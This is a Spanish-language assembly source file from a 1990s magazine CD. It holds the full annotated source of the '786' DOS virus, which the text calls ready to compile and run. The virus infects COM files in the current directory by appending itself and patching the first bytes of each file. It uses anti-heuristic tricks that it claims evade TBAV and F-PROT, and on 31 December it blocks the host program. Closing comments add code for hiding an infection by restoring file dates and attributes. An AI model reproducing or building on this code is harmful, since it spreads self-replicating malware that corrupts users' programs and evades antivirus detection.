PCMania 73/PCMania CD73_1.iso/sharewar/varios/partial/REGALOS/VIRUS/786.ASM

Assembly Source File | 1996-01-04 | 20KB | 483 lines

;VIRUS
;-----

; Aqui nos encontramos con nuestro primer virus que utiliza el DTA, listo
; para ser compilado y ejecutado.
; Un consejo, si no conocen que es el DTA, aconsejo leer primero el fichero
; de texto DTA.TXT

;------------------------------------------------------------------------------
; /~~~\
;/─────\
;│     │┌──────────────────────────────────────────────────────────────┐
;│     ││ ViRuS 786 v1.01 --> por √¡XΣΓ                               ┌┘
;│     ├┤~~~~~~~^^^~~~~~~~~~~~~~~~^^^^^~                             ┌┘
;│     ││                                                           ┌┘
;│     ├┤Caracteristicas: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-┌┘
;│     ││  -No residente                                          ┌┘
;│     ├┤  -Appending                                            ┌┘
;│     ││  -No reinfecta files                                  ┌┘
;│     ├┤ ──────────────────────────────────────────────────────┤
;│     ││  -Infecta al final del file                           └┐
;│     ├┤  -Manda un mensaje el 31 de diciembre                  └┐
;│     ││  -Virulencia: 1 en 1                                    └┐
;│     ├┤  -Busca files en current path -=-=-=-=-=-=-=-=-=-=-=-=-=-└┐
;│     ││  -Tecnicas anti-heuristicas                               └┐
;│     ├┤  ^(No lo detecta el TBAV en modo HIGH ni el F-PROT)        └┐
;│     ││                                                             └┐
;│     ││  /* Creado el 1 de Junio de 1994 */                          └┐
;│     │└───────────────────────────────────────────────────────────────┘

;( Arriba tenéis las características de este virus, y quién lo hizo ...)


.286c
Codigo  Segment 'code'
    org 100h
        Assume cs:Codigo, ds:Codigo, es:Codigo

Start   Proc Far

        jmp     Comienzo                ;JMP 3 bytes al virus
        db      "V"                     ;Marca de infecion
        nop
        nop                             ;Supuesto prog. infectado (host)
        mov     ax, 04c00h
        int     21h

;-----------------------------------------------------------------------------
; Que hacen estas primeras líneas de código, bueno, es sencillo, al
; ejecutar el virus inicial, en vez de acabar el trabajo y quedarse colgado
; el equipo, retorna para devolver el control al MS-DOS, como un programa
; normal, mediante la función 4c en AH y 00 en AL (o si lo prefieres AX=4c00h)
;-----------------------------------------------------------------------------

;AQUI COMIENZA EL VIRUS EN SI--------------------------------------------------

Comienzo:                               ;Desde aqui comienza el Virus
        push    cs
        push    cs
        pop     ds
        pop     es

        call    Proc_falso              ;Llama a Proc_falso para que quede
Proc_falso      proc near               ;en el stack el reg. IP
Proc_falso      endp

        mov     di, sp                  ;Esto es equivalente a POP BP
        mov     bp, word ptr ss:[di]    ;SUB BP, OFFSET PROC_FALSO
        sub     bp, offset Proc_falso   ;Esto es una tecnica anti-heuristica
        add     sp, 02d

;-----------------------------------------------------------------------------
; Este inicio es bastante chulo, al ejecutarse obtiene su posición en el
; fichero por medio del cálculo del offset. Como se muestra a su derecha
; estas instrucciones equivalen a:

;                POP BP
;                SUB BP,OFFSET PROC_FALSO

; esto lo hace como técnica anti-heurística pues como veremos en otro artículo
; dedicado a ello, podemos representar los mismos procedimientos de forma
; diferente para dificultar la tarea al antivirus. Y bueno en la práctica
; esto sirve para saber donde está parado el virus, es decir, hace referencia
; a sus propias variables de forma relativa a bp. Que quiere decir esto,
; pues bien sencillo, por ejemplo, definimos Mensaje que es una zona de datos
; donde el virus puede coger un mensaje para mostrarlo en pantalla (por ejemplo)
; Entonces que sería lo normal, invocar la función AH=09h de la int.21 que
; muestra una cadena de caracteres, e introducir en DX el mensaje especificando
; su posición mediante el offset, algo así:

;               mov dx,offset Mensaje

; Del modo que establece el virus sus variables, se podría acceder a Mensaje
; del siguiente modo

;              lea     dx, bp + Mensaje

; ¡Curioso..!
;-----------------------------------------------------------------------------


        mov     cx, 43d                 ;Salva DTA original
        lea     di, bp + DTA_orig
        mov     si, 0080h
        rep     movsb

;-----------------------------------------------------------------------------
; Salva el contenido del DTA actual, esto lo hace porque
; al buscar un fichero mediante la función 4eh (Buscar la primera entrada) o
; 4fh (Buscar la próxima entrada), se nos destruyen los datos que teniamos en
; el DTA original, o mejor dicho se nos actualizan con los datos del fichero
; si no conoceis el ensamblador estas instrucciones quieren decir:

; La instrucción MOVS indica que se mueve una cadena que se encuentra
; en DS:SI y la almacena en ES:DI (como DS y ES apuntan al mismo codigo
; ya que ds=cs y es=cs, no hace falta cambiarlos), en CX se indica el
; numero de datos que se mueven, en este caso bytes, ya que lo indica
; la instrucción movsb ( b-> byte ), y rep significa repetir hasta que
; en este caso CX=0 y finalize
;-----------------------------------------------------------------------------


    jmp     Check_PlayLoad          ; Salta para comprobar la fecha...

;--------------------- DATOS -------------------------------------------------

DTA_orig        db 43d dup (0)          ;Espacio para el DTA
Jump            db 0e9h                 ;JUMP
Firma           db "V"                  ;Firma del Virus
Longitud        db 2 dup (0)
Bytes_Orig      db 090h, 090h, 090h, 090h  ;Originales del prog. infectado
File_busc       db "*.C?M", 0
                ;Busca *.C?M y no *.COM. Es otra tecnica anti-heuristica

Mensaje db 0ah,0dh
        db "Este es el virus 786 Version 1 ", 0ah, 0dh          ;Mensaje
        db "Echo por --> √¡xΣΓ [√xΓ]/A.H.D. HALKA/. Industria Argentina", 0ah, 0dh
        db "Quemen al muñeco del `94!", 0ah, 0dh

        db  "$  OHH NO, ME HA DESCUBIERTO!!!", 0ah, 0dh   ;String

; 0dh -> significa retorno de carro, es decir, principio de linea
; 0ah -> significa nueva línea.
;------------------------------------------------------------------------------

Check_PlayLoad:
        mov     ah, 02ah                ;Chequea si es diciembre
        int     021h

        cmp     dh, 12d
        jne     No_Playload

        cmp     dl, 31                  ;Chequea si es 31
        jne     No_Playload


;-----------------------------------------------------------------------------
; Comprueba la fecha, más concretamente si es 31 de diciembre, mediante
; la funcion AH=2ah de la int.21h, sino es así, no muestra el mensaje.
; No os asusteis si algunas funciones no las conoceis, pues en cada articulo
; se incluyen en un fichero de texto la explicación de todas las funciones
; tratadas, por si acaso no tuvieraís información de las interrupciones, por
; ejemplo a través del Pc-Interno, etc...
;---------------------------------------------------------------------------


    mov     ax, 0900h               ;Es 31 de diciembre, mostrar mensaje!
        lea     dx, bp + Mensaje
        int     021h

        mov     ax, 04c00h              ;Y no ejecuta el prog. infectado
        int     021h


No_Playload:
        cld                             ;Restaura los 4 primeros bytes del prog
        mov     cx, 4d                  ;infectado
        mov     di, 0100h
        lea     si, bp + Bytes_Orig
        rep     movsb

;-----------------------------------------------------------------------------
; Llegamos a un punto importante en un virus, guardar los bytes del
; programa infectado que son sustituidos con el proposito de dar a nuestro
; virus el control. Al infectar el fichero se sobreescribe los primeros
; bytes con un Θ (Ascii Jump, aunque si mirais en los datos se refiere como
; 0e9h, en hexa, claro está!) y a continuación dos bytes que indican la
; dirección a saltar ( valor que calcula el virus antes de infectar y lo
; indica en estos bytes. La cuestión es saber porqué se hace esto, el motivo
; está claro, cuando queremos devolver el control al programa, lo único
; que tendremos que hacer será sustituir esos primeros bytes y saltar al
; offset 100h donde se carga el codigo ejecutable de los COM ( recordar
; 100h=256, esto indica que tiene 256 bytes antes de que comience el programa,
; esta área se encuentra en todos los ficheros COM y se denomina PSP
; ( Prefijo de Segmento de Programa ) y contiene información que usa el DOS,
; por ejemplo, los caracteres que escribimos después del nombre de nuestro
; programa, etc.
;-----------------------------------------------------------------------------

Buscar_File:
        mov     ax, 04e00h              ;Busca primer file del directorio
        mov     cx, 0
        lea     dx, File_busc + bp
        int     021h
        jnb     Hay_files               ;Salta si hay *.C?M

;-----------------------------------------------------------------------------
; Como ya se dijo antes busca el primer COM del directorio, si lo
; encuentra salta a Hay_files, sino retorna...
;-----------------------------------------------------------------------------

Retornar:                               ;No hay *.C?M
        mov     cx, 43d                 ;Restaura el DTA original
        lea     si, bp + DTA_orig
        mov     di, 0080h
        rep     movsb

        push    0100h                   ;Ejecuta el prog. infectado
        pop     ax                      ;Esto es igual que JMP 0100h
        jmp     ax                      ;Es una tecnica anti-heuristica
                    ;Significa lo mismo que jmp 100h

;-----------------------------------------------------------------------------
;Como no hay más archivos COM, finalizo y retorno el control al anfitrión
;-----------------------------------------------------------------------------

Hay_files:
        mov     ax, 03d02h
        mov     dx, 0009eh              ;Abre el file encontrado
    int    021h
        push    ax
        pop     bx
        push    bx
        mov     ax, 03f00h              ;Lee los 4 bytes primeros
        mov     cx, 0004h
        lea     dx, Bytes_Orig + bp     ;Y los guarda en Bytes_Orig
        int     021h

        mov     cl, byte ptr cs:[bytes_orig + bp+3] ;Verifica si esta infectado
        cmp     cl, Firma + bp
        jne     Infectar

;-----------------------------------------------------------------------------
; En estas líneas se abre el fichero encontrado, se leen los primeros
; 4 bytes (el del jump, los dos de la dirección, y uno que forma la firma de
; reconocimiento que es V)
; Entonces los almacena en Bytes_Orig y suma 3 a este, para comprobar si
; el 4 bytes es V (la firma), si no es así infecta, por el contrario busca
; el siguiente archivo COM.
; Este apartado tiene un pequeño inconveniente ya que no se debería comprobar
; un solo byte ya que si por casualidad el 4 byte se encontrara una V el virus
; no infectaría ese archivo pensando que ya lo estaba
;-----------------------------------------------------------------------------

Proximo_File:
        pop     bx                      ;Esta infectado. Busca otro
        mov     ah, 03eh
        int     021h                    ;Cierra el file anterior

        mov     ah, 04fh
        int     021h
        jb      Retornar                ;Si salta no hay mas files
        jmp     Hay_files

;-----------------------------------------------------------------------------
; Busca otro COM, si acaso lo encuentra salta a Hay_files, por el contrario
; devuelve el control...
;-----------------------------------------------------------------------------

Infectar:                               ;Infecta el file!
        pop     bx
        push    bx
        mov     ax, 04200h              ;Mueve el puntero de lecto/escritura
                                        ;(LSEEK) al principio del prog.
        mov     cx, 0
        mov     dx, 0
        int     021h

        pop     bx                      ;Escrive el jmp para el Virus
        push    bx
        mov     ah, 040h
        mov     cx, 1
        lea     dx, Jump + bp
        int     021h

        mov     cx, 2                   ;Calcula el jmp para el virus
        mov     si, 009ah               ;(longitud del prog. + 1)
        lea     di, bp + Longitud
        rep     movsb
        add     Longitud + bp,1

        pop     bx                      ;Graba el resultado del
        push    bx                      ;calculo anterior
        mov     ah, 040h
        mov     cx, 2
        lea     dx, Longitud + bp
        int     021h

        pop     bx                      ;Escribe la marca de infeccion
        push    bx
        mov     ah, 040h
        mov     cx, 1
        lea     dx, bp + Firma
        int     021h

        pop     bx
        push    bx
        mov     ax, 04202h              ;Mueve el puntero de lecto/escritura
                                        ;(LSEEK) al final del prog.
        mov     cx, 0
        mov     dx, 0
        int     021h

;-----------------------------------------------------------------------------
; Como ya se ha mencionado antes, el virus pasa a infectar el programa,
; situa el puntero de escri/lect al comienzo del programa, mediante la
; función AH=40h de la int.21 escribe el primer byte ( el jump ), a
; continuación mediante el DTA obtiene la longitud del fichero y la guarda,
; para a continuación escribirla en los 2 bytes que siguen al jump la
; dirección de salto al virus, después se escribe el 4º byte que es la
; marca de infección y por supuesto pone el puntero de escritura/lectura
; al final del programa para escribir el codigo del virus
;-----------------------------------------------------------------------------


        mov     cx, 43d                 ;Restaura el DTA original
        lea     si, bp + DTA_orig
        mov     di, 0080h
        rep     movsb

        mov     cx,43d                  ;Borra la variable DTA_orig
        lea     bx, DTA_orig + bp       ;Esto sirve para no crear
DTA_clr:                                ;falsas alarmas en los anti-virus
        mov     byte ptr [bx],0         ;heuristicos
        inc     bx
        loop    DTA_clr

        pop     bx                      ;Escrive el virus en el file
        push    bx
        mov     ah, 040h
        mov     cx, 1000d               ;El virus mide 512d bytes. Pero
        lea     dx, bp + Comienzo       ;le graba 1000d porque es menos
        int     021h                    ;notorio

        pop     bx                      ;Ya infecto el prog!
        mov     ah, 03eh                ;Ahora lo cierra
        int     021h

        push    0100h                   ;Ejecuta el prog. host
        pop     ax                      ;Esto es igual a JMP 0100h
        jmp     ax                      ;Es una tecnica anti-heuristica

;-----------------------------------------------------------------------------
; Ahora escribe todo el virus en el programa, esto lo hace refiriendose
; a Comienzo, es decir, el virus calcula su propio
; tamaño desde su comienzo que está indicado con la etiqueta Comienzo, una
; peculiaridad de este virus es que escribe más bytes de lo que es en sí el
; virus, a modo de basura para despistar un poco. A continuación cierra el
; fichero y devuelve el control al programa.
;-----------------------------------------------------------------------------

start endp
codigo ends
end start

;---> Este √¡Γu$ NO es Number_of_the_beast! <---


;COMENTARIO
;----------

; Para comenzar este virus no está nada mal nos muestra de un modo muy sencillo
; como se puede reproducir un virus. De todas formas hay algunas cosas que
; todo buen virus que se precie debe tener al menos ,como por ejemplo,
; obtener sus atributos y guardarlos, al igual que la fecha, y una vez
; modificado el programa cambiarlos.
; Este virus no lo hace pero para ya ir adelantando un poco sería algo así:
;
; Si encontramos el fichero (COM o lo que sea) que queremos infectar continuamos

; Guardamos atributos del fichero

;        MOV AH,43h
;        MOV AL,00h

;        (o si prefieren las dos anteriores se sustituyen por mov ax,4300h)

;        MOV DX,009Eh                    ; Accede al nombre del fichero a través
                                         ; del DTA
;        INT 21h                         ; Al invocar esta función, se devuelven
                                        ; los atributos en CX

;        MOV WORD PTR [BP+ATRIBUTOS],CX  ;Paso CX a ATRIBUTOS.


; Ponemos el atributo del fichero en normal, para poder leer/escribir, etc

;        MOV   AH,43H
;        MOV   AL,01H

;        (o si prefieren las dos anteriores se sustituyen por mov ax,4301h)

;        MOV CX,0000H                         ; Al llamar a esta función
;        INT     21h                          ; ponemos el atributo del fichero
                                              ; en cuestión a "normal"

; A continuación abrimos el fichero, realizamos la comprobaciones necesarias,etc.
; Si estuviera infectado, restauro los atributos:

;Restauro atributos originales

;        MOV AX,4301h                       ;Restauro atributos originales.
;        MOV CX,WORD PTR [BP+atributos]     ;Mediante esta función paso
;        MOV DX,09EH                        ;los atributos originales al
;        INT  21h                           ;fichero

; Por el contrario si el fichero no estuviera infectado:


;Guardamos la fecha del fichero

;    MOV AX,5700h
;    MOV BX,[Handle_del_Archivo]

;     (Al abrir un fichero, su Handle viene a BX por defecto)

;    INT 21H

;    MOV WORD PTR [BP+fecha],CX
;    MOV WORD PTR [BP+fecha+2],DX

; A continuación lo infectamos y antes de cerrarlo:

;Restauro la fecha del archivo original

;        MOV  AX,5701h                       ;Restauro fecha original.
;        MOV  CX,WORD PTR [BP+fecha]         ;Paso FECHA a CX.
;        MOV  DX,WORD PTR [BP+fecha+2]       ;Paso FECHA+2 a DX.
;        INT 21H


;Restauro atributos del fichero original

;        MOV AX,4301h
;        MOV CX,WORD PTR[BP+atributos]
;        MOV DX,09Eh
;        INT 21H

; Y retorno el control al anfitrión...

; Los datos a incluir con estas líneas serían
;---------------------------------------------
; fecha                   db 4 dup(0)
; atributos               db 2 dup(0)
;---------------------------------------------

; De este modo se da cuenta que el problema de fechas y atributos ya está
; solucionado, y se dará cuenta que todo virus esencialmente debe tener
; líneas de codigo que hagan estos procedimientos.

; Bueno con esto ya hay suficiente, hasta el próximo numero......

;                                                                 HANDLER